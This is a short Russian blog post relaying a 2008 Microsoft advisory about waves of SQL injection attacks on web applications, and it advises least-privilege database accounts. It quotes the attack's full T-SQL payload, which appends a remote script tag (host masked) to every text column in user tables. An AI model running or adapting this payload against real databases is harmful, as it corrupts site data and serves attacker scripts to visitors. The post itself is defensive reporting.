16.1.23

SQL injection атаки

http://blogs.technet.com/lyudmila_fokina/archive/2008/05/31/web.aspx


Людмила Фокина

Вот здесь собрана информация об участившихся последнее время SQL injection атаках, а также рекомендации по предотвращению таковых: http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx

Все на английском. Резюме: С конца прошлого года сейчас идет уже четвертая волна SQL injection атак на Web приложения. Эти атаки не результат каких-либо уязвимостей в SQL Server или IIS; атаки используют уязвимости самих Web приложений. Основная схема атак: нахождение Web приложений дающих пользователям достаточные права на SQL Server-е и исполнение примерно следующего кода:

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='U' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.************.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Такой запрос обновляет данные во всех символьных колонках в пользовательских таблицах на SQL Server-е, добавляя к ним ссылку на некоторый скрипт, которая теперь и будет возвращаться пользователям вашего приложения вместе с данными.

Основной совет: Web приложения должны использовать минимальные необходимые привилегии на SQL Server-е своим пользователям. По ссылке все расписано довольно подробно и также даются рекомендации как проверить не подверглись ли вы такой атаке.

Комментариев нет:

Отправить комментарий